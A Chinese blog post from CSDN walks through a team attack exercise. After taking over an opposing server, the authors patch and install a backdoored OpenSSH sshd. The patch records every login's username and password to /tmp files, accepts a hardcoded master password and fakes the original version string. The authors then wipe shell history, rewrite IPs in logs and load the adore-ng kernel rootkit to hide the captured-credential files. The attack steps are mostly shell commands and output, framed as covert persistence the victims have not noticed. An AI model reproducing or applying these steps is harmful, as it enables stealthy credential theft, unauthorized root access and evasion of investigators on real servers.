擂台赛-安全攻防之使用openssh后门获取root密码实战

已于 2024-07-01 16:50:33 修改
阅读量728 收藏 19
点赞数 21
文章标签： 安全 linux 运维 web安全 经验分享 计算机网络 网络安全
于 2024-07-01 14:04:49 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/web22050702/article/details/140099517
版权

前言

大家好，我是橙橙，我们开始组队学习了，介绍下我们的情况：

这几天跟队员 迎月，虹月，心月，古月打擂台，我和心月一组，相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。

接下来我们第一想做的就是如何维持这个权限，还要不被对方发现。

关于维持权限，我们第一时间想到的就是在对方服务器留下一个后门，搜索了很多资料，发现这个openssh的后门正合我意。

于是开干。。。

文章目录
  • 前言
  • 一. 配置实验环境
  • 二. 对openssh-5.9p1 打后门漏洞补丁
  • * 2.1 解压
    • 2.2 打补丁
    • 2.3 修改后门密码和记录位置
    • 2.4 安装打了后门补丁的sshd服务
    • 2.5 启动并查看版本号
  • 三. 测试
  • * 3.1 测试能否记录用户名和密码
    • 3.2 修改了密码还能否记录
    • 3.3 .能否记录普通用户密码
    • 3.4 测试 后门密码是否可以登录
    • 3.5 清理本次登录的脚印
  • 四. 安装adore-ng
  • * 4.1 安装的过程
    • 4.2 隐藏文件
    • 4.3 测试文件是否还能被找到
  • 总结

![在这里插入图片描述](https://img-
blog.csdnimg.cn/5f503e43f7cc4145aa17abbef17868d5.jpeg#pic_center)

一. 配置实验环境

为了确保修改对方openssh后，还能不被古月她们发现，我们先检查了对方服务器的ssh版本和gcc版本：

  1. 检查ssh 版本
[root@mufeng ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

  1. 检查gcc是否已经安装

    [root@mufeng ~]# yum install gcc gcc-c++ -y

然后开始上环我们需要的包，安装完成后，再把包全部删掉即可：

  1. 上传我们需要的包

上传0x06-openssh-5.9p1.patch.tar.gz ， openssh-5.9p1.tar.gz ，inotify-
tools-3.13.tar.gz 到linux 的/software目录

[root@mufeng ~]# mkdir /software
[root@mufeng ~]# cd !$
cd /software
[root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"
ok

[root@mufeng software]# rz   ## 上传软件包
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        sshpass-1.06.tar.gz

上传完成包之后，开始对打补丁并进行安装：

二. 对openssh-5.9p1 打后门漏洞补丁

2.1 解压
[root@mufeng software]# tar xf openssh-5.9p1.tar.gz 
You have mail in /var/spool/mail/root
[root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz 
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1        openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        openssh-5.9p1.patch  sshpass-1.06.tar.gz
[root@mufeng software]#
2.2 打补丁
[root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/
[root@mufeng software]# cd !$
cd openssh-5.9p1/
[root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff 
patching file auth.c  # 认证
patching file auth-pam.c # 认证
patching file auth-passwd.c # 认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  # 关于ssh 服务器
patching file sshconnect2.c  ## ssh 连接
patching file sshlogin.c  ## 关于登录，记录root密码
patching file version.h  ## 关于版本
2.3 修改后门密码和记录位置
[root@mufeng openssh-5.9p1]# tail -6 includes.h 
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog"  ## 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" #  记录本机登录其他服务器用户名和密码
#define SECRETPW "mufeng123" # 后门密码
#endif /* INCLUDES_H */
[root@mufeng openssh-5.9p1]#

修改版本号（修改的和原来一致）

[root@mufeng openssh-5.9p1]# cat version.h 
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */

#define SSH_VERSION	"OpenSSH_5.3"

#define SSH_PORTABLE	"p1"
#define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
[root@mufeng openssh-5.9p1]#

在这里插入图片描述

2.4 安装打了后门补丁的sshd服务
[root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"

开始编译安装

[root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

[root@mufeng openssh-5.9p1]# make && make install
2.5 启动并查看版本号
[root@mufeng openssh-5.9p1]# service sshd restart
停止 sshd：                                                [确定]
正在启动 sshd：                                            [确定]
[root@mufeng openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

这里一定要设置的与ssh原来的版本号一致，要不然就暴露了。

三. 测试

测试主要基于以下几点：

  1. 测试是否可以记录对方登录服务器的账号和密码
  2. 测试在用户修改密码后，还能继续记录账号和密码
  3. 测试是否可以记录普通用户的密码
  4. 测试是否可以使用后门漏洞密码登录系统
3.1 测试能否记录用户名和密码
root@mufeng tmp]# ssh 192.168.1.43
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.
root@192.168.1.43's password: 
Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# ls
ilog            olog            
##查看是否可以记录密码
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
## 包含用户名+密码+IP
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
[root@mufeng tmp]#

以上证明了，可以记录对方的账号和密码

3.2 修改了密码还能否记录

测试过程代码：

[root@mufeng tmp]# echo 1234567890 |passwd --stdin root
更改用户 root 的密码 。
passwd： 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh 192.168.1.43 
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
[root@mufeng tmp]#

以上证明了即使对方修改了密码，也一样可以记录。

3.3 .能否记录普通用户密码
[root@mufeng tmp]# useradd mufeng
[root@mufeng tmp]# echo 123456 |passwd --stdin mufeng
更改用户 mufeng 的密码 。
passwd： 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh mufeng@192.168.1.43
mufeng@192.168.1.43's password: 
[mufeng@mufeng ~]$ whoami
mufeng
[mufeng@mufeng ~]$ exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
user:password --> mufeng:123456
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]#

以上代码成功的记录了，对方使用普通用户登录时的用户名和密码

3.4 测试 后门密码是否可以登录
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# ssh root@192.168.1.43
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
user:password@host --> root:mufeng123@192.168.1.43
[root@mufeng tmp]#

在这里插入图片描述

3.5 清理本次登录的脚印

一定要清除掉自己登录的IP信息

[root@mufeng ~]# export HISTFILE=/dev/null
You have mail in /var/spool/mail/root
[root@mufeng ~]# export HISTSIZE=
[root@mufeng ~]# export HISTFILESIZE=
[root@mufeng ~]# echo >/root/.bash_history
# 这种清除方式，要确保一开始没有历史记录，如果有历史记录，可以用sed的方式替换
[root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history
## 其他访问日志也可以用用sed替换ip , 瞒天过海

接下来要把生成的文件进行隐藏，本次隐藏，我们沐风晓月组采用的是adore-ng,
这个工具是以模块的方式运行的，就类似于你电脑上的声卡，只要隐藏的好很难被发现。

这里我只写对两个文件/tmp/olog和/tmp/ilog进行隐藏，其他的文件和目录也是同样的方法。

四. 安装adore-ng

4.1 安装的过程

  • 安装依赖包

    [root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm
    warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
    Preparing… ########################################### [100%]
    1:kernel-devel ########################################### [100%]

  • 上传需要adore-ng

    [root@mufeng ~]# rz
    解压
    [root@mufeng ~]# unzip adore-ng-master.zip

    [root@mufeng ~]# cd adore-ng-master
    [root@mufeng adore-ng-master]# ls
    adore-ng.c ava.c libinvisible.h Makefile
    adore-ng.h libinvisible.c LICENSE README.md

  • 开始安装

    安装
    [root@mufeng adore-ng-master]# make
    加载模块
    [root@mufeng adore-ng-master]# insmod adore-ng.ko
    [root@mufeng adore-ng-master]#

  • 查看命令是否安装

    [root@mufeng adore-ng-master]# ./ava h
    Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
    I print info (secret UID etc)
    h hide file # 隐藏文件
    u unhide file ## 不隐藏
    r execute as root ## 像root一样去运行
    R remove PID forever
    U uninstall adore
    i make PID invisible ## 隐藏进程
    v make PID visible

4.2 隐藏文件

需要隐藏 ilog， olog

[root@mufeng adore-ng-master]# ./ava h /tmp/ilog  
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/ilog' is now hidden.
[root@mufeng adore-ng-master]# 

[root@mufeng adore-ng-master]# ./ava h /tmp/olog 
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/olog' is now hidden.

查看是否隐藏成功：

![在这里插入图片描述](https://img-
blog.csdnimg.cn/4bf484db51464545add31da5fee4dd77.jpeg)

4.3 测试文件是否还能被找到

  • 使用find查找

    [root@mufeng tmp]# find ./ -mtime -1
    ./
    ./orbit-root
    ./orbit-root/linc-f46-0-4088aa9a676df
    ./gconfd-root
    ./gconfd-root/saved_state_db283d80792451243e0a59a40000002b

发现无法找到文件了

但当我们直接使用文件名查看内容的时候，还是可以查看的，说明文件并不是被删除了，而是被隐藏了

在这里插入图片描述

总结

虹月组目前还未发现他们的服务已经被植入后门漏洞，今天心月提到可以再加上一个功能：邮件发送功能，实现当虹月组登录服务器，就能收到信息。

听起来是个好主意，下次补上。

好了以上是本文的全部内容，下次再见吧。

💕 好啦，这就是今天要分享给大家的全部内容了，我们下期再见！
💕 每一次学习都很枯燥，单调，孤独，甚至看不到未来，每一次遇到问题都让人疑惑，焦虑，怀疑，甚至想要放弃。
但坚定的走下来，会收获很多。收获的不单单是技术的成长还有一颗强大的心。
💕 喜欢的话记得点赞收藏哦

学习计划安排


我一共划分了六个阶段，但并不是说你得学完全部才能上手工作，对于一些初级岗位，学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包，需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦，无偿分享！！！

如果你对网络安全入门感兴趣，那么你需要的话可以

点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

在这里插入图片描述

程序员橙橙
关注
  • 21
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
linux： OpenSSH后门获取root密码及防范
08-05
linux后门
openssh-clients-9.3p2-1.an8.x86-64.rpm
10-26
Anolis龙蜥8.6版本 针对openssh漏洞 cve-2020-15778 cve-2023-38480 自制rpm包离线升级openssh由8.0p1到9.3p2 4个安装包之3
CVE-2020-15778漏洞-——快速升级——openssh8.6.p1.tar.gz
06-21
OpenSSH 命令注入漏洞(CVE-2020-15778),文件包含installs.sh、openssh-8.6p1.tar.gz、openssl-1.1.1k.tar.gz、zlib-1.2.11.tar.gz。升级时候将openssh.tar.gz放至/home下解压，进入openssh目录，执行chmod +x ...
一键解决80%的Linux系统高危漏洞软件-之openssh9.7最新（粉丝送福利）
huiyangxu blog
05-02 1262
下面是我这一台Centos6.5的老版本操作系统，没有更新openssh之前的漏洞扫描信息，可以看得出来高风险全是openssh（本漏扫使用最新的规则库2024-04-04发布的）Linux系统默认的OPENSSH版本比较低，等保等安全检查时，一定会被扫出来高风险漏洞，而高风险是等保三的否决项，一定要解决。网上大部分的解决的办法就是源码编译安装openssh，编译的时间较长，也比较麻烦，小白的话很容易做错导致系统登录不进去了。更新openssh之后再漏扫检查，可以看出来，己经没有高风险漏洞了！
Redhat6.5升级openSSH-8.7p1修补扫描openSSH漏洞.zip
09-26
2. `openssh-8.7p1.tar.gz`：OpenSSH的源代码包，我们需要编译安装这个版本以替换旧的OpenSSH服务。 3. `zlib-1.2.11.tar.gz`：Zlib是一个数据压缩库，许多软件（包括OpenSSH）在处理数据时可能需要它。 4. `x11-ssh...
openssh-portable：便携式OpenSSH，所有Win32-OpenSSH版本和Wiki均在https：github.compowershellWin32-OpenSSH进行管理
02-06
openssh-portable：便携式OpenSSH，所有Win32-OpenSSH版本和Wiki均在https：github.compowershellWin32-OpenSSH进行管理
Evil-WinRM一键测试主机安全情况（KALI工具系列四十四）
LNN0212的博客
07-17 800
Kali Linux 是一个功能强大、多才多艺的 Linux 发行版 ，广泛用于网络安全社区。它具有全面的预安装工具和功能集，使其成为安全测试、数字取证、事件响应和恶意软件分析的有效平台。作为使用者，你可以把它理解为一个特殊的Linux 发行版 ，集成了精心挑选的渗透测试和安全审计的工具，供渗透测试和安全设计人员使用，也可称之为平台或者框架。注意，一定只能用于自己设备的连通性测试哦！
自建SMTP服务器：如何保障安全稳定的发信？
danplus的博客
07-17 494
自建SMTP服务器虽然可以提供更高的灵活性和控制力，但也需要投入大量的时间和精力来保障其安全和稳定。AokSend，指导您自建SMTP服务器，结合API接口，高效稳定，让邮件营销更加自主可控！
权威认可 | 海云安开发者安全助手系统通过信通院支撑产品功能认证并荣获信通院2024年数据安全体系建设优秀案例
haiyunan的博客
07-16 562
在“某省烟草数据安全体系建设规划”项目实践中，海云安基于双生命周期融合与零信任架构的总体思路，立足业务基于场景，通过建设技术、管理、运营三大体系，为公司构建了覆盖数据生命周期、应用生命周期的“数盾”，解决数据安全合规、风险管控、业务影响控制等问题，从而为公司打造一个安全可靠的数据使用环境，助力公司持续稳健发展。通过实施数据安全零信任架构，企业将显著提高数据安全性，减少数据泄露和网络攻击的风险，增强对复杂安全环境的应对能力，实现持续的安全保护和合规运营。
内容安全（深度行为检测技术、IPS、AV、入侵检测方法）
Thewei666的博客
07-17 1052
区分不同的签名。
防洪墙的安全内容检测+http请求头
代码其实很简单
07-17 639
--1、深度检测技术(DPI和DPF是所有内容检测都必须要用到的技术)；DPI--深度包检测，针对完整的数据包，进行内容的识别和检测；---2、DFI ---深度流检测 ，---看名字都知道肯定是对数据流进行检测的技术；--2、IPS ---入侵防御--3、IDS---入侵检测，AV（反病毒） http请求头，http状态码
全文翻译 | OWASP《LLM安全与治理检查清单》
lurenjia404的博客
07-17 824
本文是OWASP（开放式网络应用安全项目）发布的《LLM AI安全与治理清单》（以下简称“清单”），旨在为使用大型语言模型（LLM）的组织提供安全与治理方面的指导。清单强调了负责任和可信的人工智能（AI）的重要性，并指出AI技术，尤其是LLM，在创新、效率和商业成功方面具有巨大潜力，同时也带来了明显的挑战。文中讨论了LLM面临的挑战，包括控制和数据平面的不可分割性、非确定性设计、语义搜索的使用等，并强调了LLM增加的攻击面和相关风险。
园区道路车辆智能管控视频解决方案，打造安全畅通的园区交通环境
TSINGSEE青犀视频官方技术博客
07-16 886
AI智能分析网关V4消防通道占用算法基于人工智能视觉分析技术，通过摄像头实时监测识别是否有机动车违规停放在消防车通道上，并及时提醒管理人员进行处理。
HLS加密技术：保障流媒体内容安全的利器
jiamisoft的博客
07-17 970
HLS是一种由苹果公司提出的基于HTTP的流媒体网络传输协议，它允许将音视频文件编码为可播放的多媒体流，并通过HTTP协议进行传输。这种传输方式不仅具有广泛的网络适应性，还支持自适应比特率和分辨率，从而为用户提供流畅的观看体验。然而，HLS本身并不包含专门的加密方式，需要配合其他加密和防护措施来实现内容的安全传输。HLS加密技术的核心思想是将视频流分段，并对每个分段进行加密处理。在客户端播放时，需要先获取解密密钥才能正常播放。
防火墙--内容安全
最新发布
banliyaoguai的博客
07-20 528
内容安全是指对互联网上的内容进行监测、筛选和管理，以确保用户在浏览、使用互联网内容时的安全和合法性。各个厂商在进行内容安全的检测、分析和处理的过程被称为引擎。下面以华为IAE引擎来对内容安全进行学习ID：区分不同的签名对象：服务器，客户端。一般我们将发起连接的设备角色认定为客户端，响应连接并提供服务的角色认定为服务器。严重性：该行为一旦爆发之后，对我们网络系统的影响程度的评级协议/应用程序：这种攻击所承载的协议或者应用。
数据库安全审计系统：筑牢数据安全防线 提高数据资产安全
2401_82472120的博客
07-17 460
其可以监控和审计用户对数据库中的数据库表、视图、序列、包、存储过程、函数、库、索引、同义词、快照、触发器等的访问、创建、修改和删除等，分析的内容可以精确到SQL操作语句级别。另外，它还可以根据设置的规则，智能判断出违规操作数据库的行为，并对违规行为进行记录、报警。通过对用户访问数据库行为的记录、分析和汇报，来帮助用户事后生成合规报告、事故追根溯源，同时通过大数据搜索技术提供高效查询审计报告，定位事件原因，以便日后查询、分析、过滤，实现加强内外部数据库网络行为的监控与审计，提高数据资产安全。
响应“一机两用”政策号召 提高政务内外网安全
Canon_YK的博客
07-17 980
随着一机两用政策的实施，即政府部门内部网络终端在特定情况下需同时连接政务内外网，如何在保证工作效率的同时，确保网络安全和数据安全，成为摆在面前的重要课题。未来，随着技术的不断发展和完善，沙箱技术将在政务内外网安全中发挥更加重要的作用。深信达的SDC沙箱技术已经和多个政企单位合作，高效便捷的沙箱技术已经大大提升了政务机关的内网安全，为政务机关业务的开展提供了强有力的安全保障。SDC沙箱技术能够对隔离环境中的网络行为进行实时监控和审计，包括网络连接的建立、数据的传输、应用程序的运行等。
保障低压设备安全！中国星坤连接器精密工艺解析！
weixin_50506145的博客
07-16 545
随着技术的发展，对连接器的需求也在不断提升，特别是在低电压应用领域。中国星坤最新推出的低压连接器，以其精密性和安全性，为低电压设备提供了一个可靠的连接解决方案。中国星坤的低压连接器，以其卓越的性能和广泛的应用前景，为低电压设备的安全稳定运行提供了有力保障。随着技术的不断进步和市场需求的增长，低压连接器将在更多领域展现其独特的价值，成为连接现代电子世界的可靠伙伴。：在医疗领域，低压连接器用于连接各种便携式医疗监测设备，确保数据传输的准确性和设备的稳定性。：由于设计简洁，连接器的维护和更换变得简单快捷。
安全防御：防火墙基本模块
zhugedali_的博客
07-16 871
它会检查每个传入和传出的数据包的头部信息，包括源 IP 地址、目的 IP 地址、源端口、目的端口、协议类型（如 TCP、UDP、ICMP 等）以及数据包的标志位等。如果允许，防火墙会创建一个状态表项来记录该连接的状态，包括连接的方向、数据包的序列号等。- IDS/IPS 模块通常使用多种检测技术，包括基于特征的检测、基于异常的检测和基于协议分析的检测等，以提高检测的准确性和有效性。- 日志模块负责记录防火墙处理的所有活动和事件，包括数据包的过滤决策、连接的建立和终止、管理员的操作等详细信息。
OpenSSH 安全漏洞(CVE-2021-41617)修复的详细步骤
05-17
CVE-2021-41617是一个OpenSSH的安全漏洞，可能会导致攻击者通过SSH服务器执行任意命令或访问敏感信息。以下是修复此漏洞的详细步骤： 1. 检查OpenSSH版本：使用以下命令检查OpenSSH的版本： ``` ssh -V ``` 如果版本低于以下版本，则可能受到漏洞的影响： - OpenSSH 8.7p1 - OpenSSH 8.6p1 - OpenSSH 7.6p1 - OpenSSH 7.5p1 - OpenSSH 7.4p1 - OpenSSH 7.3p1 - OpenSSH 7.2p2 - OpenSSH 7.1p2 - OpenSSH 6.9p1 - OpenSSH 6.8p1 2. 下载和安装OpenSSH修复程序：您可以从OpenSSH官方网站下载修复程序。根据您的操作系统和OpenSSH版本，下载适当的修复程序。然后，按照以下步骤安装修复程序： - 解压修复程序 - 进入修复程序目录 - 运行以下命令： ``` ./configure make sudo make install ``` 3. 重启SSH服务：使用以下命令重启SSH服务： ``` sudo service ssh restart ``` 4. 验证修复：使用以下命令再次检查OpenSSH的版本： ``` ssh -V ``` 如果版本是OpenSSH 8.7p1或更高版本，则表示已成功修复漏洞。 请注意，如果您的系统使用的是Linux发行版（如Ubuntu、Debian、CentOS等），则可能会有特定的修复程序可用。在这种情况下，请使用您发行版的包管理器，更新OpenSSH版本并重启SSH服务。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值